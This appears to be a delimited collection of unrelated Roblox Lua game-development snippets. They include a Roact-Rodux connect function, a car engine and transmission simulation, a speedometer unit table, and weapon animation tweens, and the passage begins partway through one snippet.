child.DisplayOrder = 1
child:Clone().Parent = playerGui
end
end
|
-- Ps2maniac9 Technology |
script.Ps2maniac9Credits.Parent = Game.Workspace
wait(0.1)
credit = script.Parent.Ps2maniac9ScreenGui
MakeHintsAll = false
if Game.Workspace.Ps2maniac9Credits.Value < 1 then
Game.Workspace.Ps2maniac9Credits.Value = 1
if not game:FindFirstChild("NetworkServer") then
if MakeHintsAll then
credit.Parent = Game.StarterGui
end
else
credit.Parent = Game.StarterGui
end
end
|
--[[**
ensures value is an enum of the correct type
@param enum The enum to check
@returns A function that will return true iff the condition is passed
**--]] |
function t.enum(enum)
assert(t.Enum(enum))
return function(value)
local enumItemSuccess, enumItemErrMsg = t.EnumItem(value)
if not enumItemSuccess then
return false, enumItemErrMsg
end
if value.EnumType == enum then
return true
else
return false, string.format("enum of %s expected, got enum of %s", tostring(enum), tostring(value.EnumType))
end
end
end
do
local checkWrap = t.tuple(t.callback, t.callback)
--[[**
wraps a callback in an assert with checkArgs
@param callback The function to wrap
@param checkArgs The functon to use to check arguments in the assert
@returns A function that first asserts using checkArgs and then calls callback
**--]]
function t.wrap(callback, checkArgs)
assert(checkWrap(callback, checkArgs))
return function(...)
assert(checkArgs(...))
return callback(...)
end
end
end
|
--[put in StarterGui] |
wait(0) --dont delete, the script can crash if you delete this line
local plr = game.Players.LocalPlayer --local player
local players = game.Players --players
local message = "you lost" --message when die (kick message), change if you want
players.RespawnTime = 0
plr.CharacterRemoving:Connect(function(e) --detects if the player died.
plr:Kick(message) --kick the player with the message
end)
|
--mouse.TargetFilter = workspace.Beams |
function getHit()
return mouse.Hit
end
game.ReplicatedStorage.RequestHit.OnClientInvoke = getHit
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 200 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 320 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 400 ,
spInc = 50 , -- Increment between labelled notches
}
}
|
--[[
mapStateToProps:
(storeState, props) -> partialProps
OR
() -> (storeState, props) -> partialProps
mapDispatchToProps: (dispatch) -> partialProps
]] |
local function connect(mapStateToPropsOrThunk, mapDispatchToProps)
local connectTrace = debug.traceback()
if mapStateToPropsOrThunk ~= nil then
assert(typeof(mapStateToPropsOrThunk) == "function", "mapStateToProps must be a function or nil!")
else
mapStateToPropsOrThunk = noop
end
local mapDispatchType = typeof(mapDispatchToProps)
if mapDispatchToProps ~= nil then
assert(
mapDispatchType == "function" or mapDispatchType == "table",
"mapDispatchToProps must be a function, table, or nil!"
)
else
mapDispatchToProps = noop
end
return function(innerComponent)
if innerComponent == nil then
local message = formatMessage({
"connect returns a function that must be passed a component.",
"Check the connection at:",
"%s",
}, {
connectTrace,
})
error(message, 2)
end
local componentName = ("RoduxConnection(%s)"):format(tostring(innerComponent))
local Connection = Roact.Component:extend(componentName)
function Connection.getDerivedStateFromProps(nextProps, prevState)
if prevState.stateUpdater ~= nil then
return prevState.stateUpdater(nextProps.innerProps, prevState)
end
end
function Connection:createStoreConnection()
self.storeChangedConnection = self.store.changed:connect(function(storeState)
self:setState(function(prevState, props)
local mappedStoreState = prevState.mapStateToProps(storeState, props.innerProps)
-- We run this check here so that we only check shallow
-- equality with the result of mapStateToProps, and not the
-- other props that could be passed through the connector.
if shallowEqual(mappedStoreState, prevState.mappedStoreState) then
return nil
end
return prevState.stateUpdater(props, prevState, mappedStoreState)
end)
end)
end
function Connection:init(props)
self.store = props.store
if self.store == nil then
local message = formatMessage({
"Cannot initialize Roact-Rodux connection without being a descendent of StoreProvider!",
"Tried to wrap component %q",
"Make sure there is a StoreProvider above this component in the tree.",
}, {
tostring(innerComponent),
})
error(message)
end
local storeState = self.store:getState()
local mapStateToProps = mapStateToPropsOrThunk
local mappedStoreState = mapStateToProps(storeState, self.props.innerProps)
-- mapStateToPropsOrThunk can return a function instead of a state
-- value. In this variant, we keep that value as mapStateToProps
-- instead of the original mapStateToProps. This matches react-redux
-- and enables connectors to keep instance-level state.
if typeof(mappedStoreState) == "function" then
mapStateToProps = mappedStoreState
mappedStoreState = mapStateToProps(storeState, self.props.innerProps)
end
if mappedStoreState ~= nil and typeof(mappedStoreState) ~= "table" then
local message = formatMessage({
"mapStateToProps must either return a table, or return another function that returns a table.",
"Instead, it returned %q, which is of type %s.",
}, {
tostring(mappedStoreState),
typeof(mappedStoreState),
})
error(message)
end
local function dispatch(...)
return self.store:dispatch(...)
end
local mappedStoreDispatch
if mapDispatchType == "table" then
mappedStoreDispatch = {}
for key, actionCreator in pairs(mapDispatchToProps) do
assert(typeof(actionCreator) == "function", "mapDispatchToProps must contain function values")
mappedStoreDispatch[key] = function(...)
dispatch(actionCreator(...))
end
end
elseif mapDispatchType == "function" then
mappedStoreDispatch = mapDispatchToProps(dispatch)
end
local stateUpdater = makeStateUpdater(self.store)
self.state = {
-- Combines props, mappedStoreDispatch, and the result of
-- mapStateToProps into propsForChild. Stored in state so that
-- getDerivedStateFromProps can access it.
stateUpdater = stateUpdater,
-- Used by the store changed connection and stateUpdater to
-- construct propsForChild.
mapStateToProps = mapStateToProps,
-- Used by stateUpdater to construct propsForChild.
mappedStoreDispatch = mappedStoreDispatch,
-- Passed directly into the component that Connection is
-- wrapping.
propsForChild = nil,
}
local extraState = stateUpdater(self.props.innerProps, self.state, mappedStoreState)
for key, value in pairs(extraState) do
self.state[key] = value
end
self:createStoreConnection()
end
function Connection:willUnmount()
self.storeChangedConnection:disconnect()
end
function Connection:render()
return Roact.createElement(innerComponent, self.state.propsForChild)
end
local ConnectedComponent = Roact.Component:extend(componentName)
function ConnectedComponent:render()
return Roact.createElement(StoreContext.Consumer, {
render = function(store)
return Roact.createElement(Connection, {
innerProps = self.props,
store = store,
})
end,
})
end
return ConnectedComponent
end
end
return connect
|
--------RIGHT DOOR -------- |
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
--[[Engine]] |
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
if _Tune.Aspiration == "Single" then
_TCount = 1
_TPsi = _Tune.Boost
elseif _Tune.Aspiration == "Double" then
_TCount = 2
_TPsi = _Tune.Boost*2
end
--Horsepower Curve
local HP=_Tune.Horsepower/100
local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100
local Peak=_Tune.PeakRPM/1000
local Sharpness=_Tune.PeakSharpness
local CurveMult=_Tune.CurveMult
local EQ=_Tune.EqPoint/1000
--Horsepower Curve
function curveHP(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurveHP = curveHP(_Tune.PeakRPM)
function curvePSI(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurvePSI = curvePSI(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Plot Current Boost (addition to Horsepower)
function GetPsiCurve(x,gear)
local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Output Cache
local HPCache = {}
local PSICache = {}
for gear,ratio in pairs(_Tune.Ratios) do
local nhpPlot = {}
local bhpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do
local ntqPlot = {}
local btqPlot = {}
ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2)
btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2)
hp1,tq1 = GetCurve((rpm+1)*100,gear-2)
hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2)
ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)
btqPlot.HpSlope = (hp2 - btqPlot.Horsepower)
ntqPlot.TqSlope = (tq1 - ntqPlot.Torque)
btqPlot.TqSlope = (tq2 - btqPlot.Torque)
nhpPlot[rpm] = ntqPlot
bhpPlot[rpm] = btqPlot
end
table.insert(HPCache,nhpPlot)
table.insert(PSICache,bhpPlot)
end
--Powertrain
wait()
--Automatic Transmission
function Auto()
local maxSpin=0
for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end
if _IsOn then
_ClutchOn = true
if _CGear >= 1 then
if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then
_CGear = 1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
end
end
end
end
end
local tqTCS = 1
--Apply Power
function Engine()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
local maxCount=0
for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end
maxSpin=maxSpin/maxCount
if _ClutchOn then
if _Tune.DriveTransfer == "TorqueConverter" then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)+(((_Tune.TConverter+800)*_GThrot)-(_Tune.IdleRPM*_GThrot)-((38)*_Tune.IdleThrottle))
local clutchP = math.min(math.abs((aRPM-((_Tune.TConverter-1000)*(_RPM/_Tune.Redline)*_GThrot))-_RPM)/_Tune.ClutchTol,.97)
_RPM = _RPM*clutchP + (aRPM-((_Tune.TConverter-1000)*(_RPM/_Tune.Redline)*_GThrot))*(1-clutchP)
end
if _Tune.DriveTransfer == "Clutch" then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
end
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+(_Tune.RevAccel*((script.Parent.Values.RPM.Value/_Tune.Redline)))*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-(_Tune.RevDecay*((script.Parent.Values.RPM.Value/_Tune.Redline))),revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
local TPsi = _TPsi/_TCount
_Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((8/_Tune.TurboSize)*(1+(_Boost*2))))/TPsi)*15)
if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
if _Tune.Aspiration ~= "Natural" then
local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_HP = _NH + (_BH*(_Boost/2))
_OutTorque = _NT + (_BT*(_Boost/2))
else
_HP = _NH
_OutTorque = _NT
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and (v.Name=="RR" or v.Name=="RL") then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if _GBrake==0 then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local clutch=1
if not _ClutchOn then clutch=0 end
local throt = _GThrot * _GThrotShift
--Apply TCS
tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
local dir=1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
_ABSActive = (tqABS<1)
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- Get the players set settings |
local plr
local wasEquipped = false
if script.Parent.Parent.ClassName == "Backpack" then
plr = script.Parent.Parent.Parent
else
wasEquipped = true
plr = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
end
local setSkin = game.ReplicatedStorage.KnifeSkins:FindFirstChild(plr.Settings.SetKnifeSkin.Value)
local setEffect = plr.Settings.SetEffect.Value
|
--//Client Animations |
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.65,0.55,-1.2) * CFrame.Angles(math.rad(-110),math.rad(20),math.rad(0))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.55,0.30,-1.15) * CFrame.Angles(math.rad(-110),math.rad(20),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,-0.05,-1.55) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()
wait(0.5)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.35)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.21, -0.4, 0.75) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
if objs[7].Value <= 0 then
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(0, 0.425, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-45))}):Play()
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
--ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
--wait(0.3)
--ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(-30))}):Play()
--ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
wait(0.15)
objs[5].Handle:WaitForChild("MagOut"):Play()
local MagZ = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagZ.Parent = objs[5]
MagZ.Name = "MagZ"
MagZ.Transparency = 0
